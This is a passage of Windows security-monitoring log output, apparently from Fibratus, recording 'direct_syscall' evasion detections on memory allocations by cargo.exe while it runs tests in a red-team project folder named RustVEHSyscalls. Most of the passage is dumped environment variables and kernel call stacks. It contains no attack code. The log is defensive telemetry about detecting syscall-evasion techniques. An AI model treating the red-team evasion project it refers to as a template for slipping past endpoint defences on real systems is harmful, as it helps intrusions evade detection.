USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff769d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff19a8e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fad0a0f C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68facfdd2 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fad56a3 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fad4267 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fad5eac C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68facf438 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa6e321 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb11167 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903191 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.0089403 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50ca000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff68ff181ee C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fbe16ca C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff8705b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff76903 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff769fe C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff19a8e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fad0a0f C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68facfdd2 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fad56a3 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fad4267 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fad5eac C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68facf438 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa6e321 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb11167 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 904935 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1444796 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92ef4000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ 